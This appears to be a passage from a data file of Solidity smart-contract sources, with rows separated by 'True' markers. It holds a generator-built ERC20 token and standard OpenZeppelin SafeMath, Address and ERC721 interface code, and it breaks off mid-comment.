* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
|
True
|
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// SPDX-License-Identifier: MIT
/*
* Token has been generated for FREE using https://vittominacori.github.io/erc20-generator/
*
* NOTE: "Contract Source Code Verified (Similar Match)" means that this Token is similar to other tokens deployed
* using the same generator. It is not an issue. It means that you won't need to verify your source code because of
* it is already verified.
*
* DISCLAIMER: GENERATOR'S AUTHOR IS FREE OF ANY LIABILITY REGARDING THE TOKEN AND THE USE THAT IS MADE OF IT.
* The following code is provided under MIT License. Anyone can use it as per their needs.
* The generator's purpose is to make people able to tokenize their ideas without coding or paying for it.
* Source code is well tested and continuously updated to reduce risk of bugs and to introduce language optimizations.
* Anyway the purchase of tokens involves a high degree of risk. Before acquiring tokens, it is recommended to
* carefully weighs all the information and risks detailed in Token owner's Conditions.
*/
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol
pragma solidity ^0.8.0;
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// File: @openzeppelin/contracts/utils/Context.sol
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/token/ERC20/ERC20.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The defaut value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// File: contracts/service/ServicePayer.sol
pragma solidity ^0.8.0;
interface IPayable {
function pay(string memory serviceName) external payable;
}
/**
* @title ServicePayer
* @dev Implementation of the ServicePayer
*/
abstract contract ServicePayer {
constructor (address payable receiver, string memory serviceName) payable {
IPayable(receiver).pay{value: msg.value}(serviceName);
}
}
// File: contracts/utils/GeneratorCopyright.sol
pragma solidity ^0.8.0;
/**
* @title GeneratorCopyright
* @author ERC20 Generator (https://vittominacori.github.io/erc20-generator)
* @dev Implementation of the GeneratorCopyright
*/
contract GeneratorCopyright {
string private constant _GENERATOR = "https://vittominacori.github.io/erc20-generator";
string private _version;
constructor (string memory version_) {
_version = version_;
}
/**
* @dev Returns the token generator tool.
*/
function generator() public pure returns (string memory) {
return _GENERATOR;
}
/**
* @dev Returns the token generator version.
*/
function version() public view returns (string memory) {
return _version;
}
}
// File: contracts/token/ERC20/SimpleERC20.sol
pragma solidity ^0.8.0;
/**
* @title SimpleERC20
* @author ERC20 Generator (https://vittominacori.github.io/erc20-generator)
* @dev Implementation of the SimpleERC20
*/
contract SimpleERC20 is ERC20, ServicePayer, GeneratorCopyright("v5.0.1") {
constructor (
string memory name_,
string memory symbol_,
uint256 initialBalance_,
address payable feeReceiver_
)
ERC20(name_, symbol_)
ServicePayer(feeReceiver_, "SimpleERC20")
payable
{
require(initialBalance_ > 0, "SimpleERC20: supply cannot be zero");
_mint(_msgSender(), initialBalance_);
}
}
|
True
|
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] |
//*********************************************************************//
//*********************************************************************//
//
//
// .--. _..._ __.....__ _..._ __.....__
// |__| .' '. .-'' '. .' '. .-'' '.
// .--.. .-. . .| / .-''"'-. `. .-,.--. . .-. . / .-''"'-. `. .|
// | || ' ' | .' |_ / /________\ \| .-. || ' ' |/ /________\ \ .' |_
// | || | | | .' || || | | || | | || | .' |
// | || | | |'--. .-'\ .-------------'| | | || | | |\ .-------------''--. .-'
// | || | | | | | \ '-.____...---.| | '- | | | | \ '-.____...---. | |
// |__|| | | | | | `. .' | | | | | | `. .' | |
// | | | | | '.' `''-...... -' | | | | | | `''-...... -' | '.'
// | | | | | / |_| | | | | | /
// '--' '--' `'-' '--' '--' `'-'
// _______
// .--. __.....__ _..._ \ ___ `'. __.....__
// _.._ |__| .-'' '. .' '. ' |--.\ \ .-'' '.
// .' .._|.-,.--. .--. / .-''"'-. `. . .-. . | | \ ' .-,.--. / .-''"'-. `.
// | ' | .-. || |/ /________\ \| ' ' | | | | ' __ | .-. |/ /________\ \
// __| |__ | | | || || || | | | | | | | _ .:--.'. | | | || |
// |__ __| | | | || |\ .-------------'| | | | | | ' .' .' | / | \ | | | | |\ .-------------'
// | | | | '- | | \ '-.____...---.| | | | | |___.' /' . | / `" __ | | | | '- \ '-.____...---.
// | | | | |__| `. .' | | | |/_______.'/ .'.'| |// .'.''| | | | `. .'
// | | | | `''-...... -' | | | |\_______|/.'.'.-' / / / | |_| | `''-...... -'
// | | |_| | | | | .' \_.' \ \._,\ '/|_|
// |_| '--' '--' `--' `"
// . __.....__ /| __.....__
// .'| .-'' '. || .-'' '.
// .| < | / .-''"'-. `. || / .-''"'-. `. .|
// .' |_ | | / /________\ \ || __ / /________\ \ .' |_
// .' || | .'''-. | | ||/'__ '. | | _ .' |
// '--. .-'| |/.'''. \\ .-------------' |:/` '. '\ .-------------' .' |'--. .-'
// | | | / | | \ '-.____...---. || | | \ '-.____...---. . | / | |
// | | | | | | `. .' ||\ / ' `. .'.'.'| |// | |
// | '.'| | | | `''-...... -' |/\'..' / `''-...... -'.'.'.-' / | '.'
// | / | '. | '. ' `'-'` .' \_.' | /
// `'-' '---' '---' `'-'
//
//
//*********************************************************************//
//*********************************************************************//
//-------------DEPENDENCIES--------------------------//
// File: @openzeppelin/contracts/utils/math/SafeMath.sol
// OpenZeppelin Contracts v4.4.1 (utils/math/SafeMath.sol)
pragma solidity ^0.8.0;
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: SafeMath is generally not needed starting with Solidity 0.8, since the compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's + operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's - operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's * operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's / operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's % operator. This function uses a revert
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's - operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's / operator. Note: this function uses a
* revert opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's % operator. This function uses a revert
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
// File: @openzeppelin/contracts/utils/Address.sol
// OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol)
pragma solidity ^0.8.1;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if account is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, isContract will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on isContract to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
/**
* @dev Replacement for Solidity's transfer: sends amount wei to
* recipient, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by transfer, making them unable to receive funds via
* transfer. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to recipient, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level call. A
* plain call is an unsafe replacement for a function call: use this
* function instead.
*
* If target reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[abi.decode].
*
* Requirements:
*
* - target must be a contract.
* - calling target with data must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[functionCall], but with
* errorMessage as a fallback revert reason when target reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[functionCall],
* but also transferring value wei to target.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least value.
* - the called Solidity function must be payable.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[functionCallWithValue], but
* with errorMessage as a fallback revert reason when target reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[functionCall],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[functionCall],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[functionCall],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[functionCall],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol)
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} tokenId token is transferred to this contract via {IERC721-safeTransferFrom}
* by operator from from, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with IERC721.onERC721Received.selector.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File: @openzeppelin/contracts/utils/introspection/IERC165.sol
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* interfaceId. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts/utils/introspection/ERC165.sol
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
*
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when tokenId token is transferred from from to to.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when owner enables approved to manage the tokenId token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when owner enables or disables (approved) operator to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in owner's account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the tokenId token.
*
* Requirements:
*
* - tokenId must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers tokenId token from from to to, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - from cannot be the zero address.
* - to cannot be the zero address.
* - tokenId token must exist and be owned by from.
* - If the caller is not from, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If to refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers tokenId token from from to to.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - from cannot be the zero address.
* - to cannot be the zero address.
* - tokenId token must be owned by from.
* - If the caller is not from, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to to to transfer tokenId token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - tokenId must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for tokenId token.
*
* Requirements:
*
* - tokenId must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove operator as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The operator cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the operator is allowed to manage all of the assets of owner.
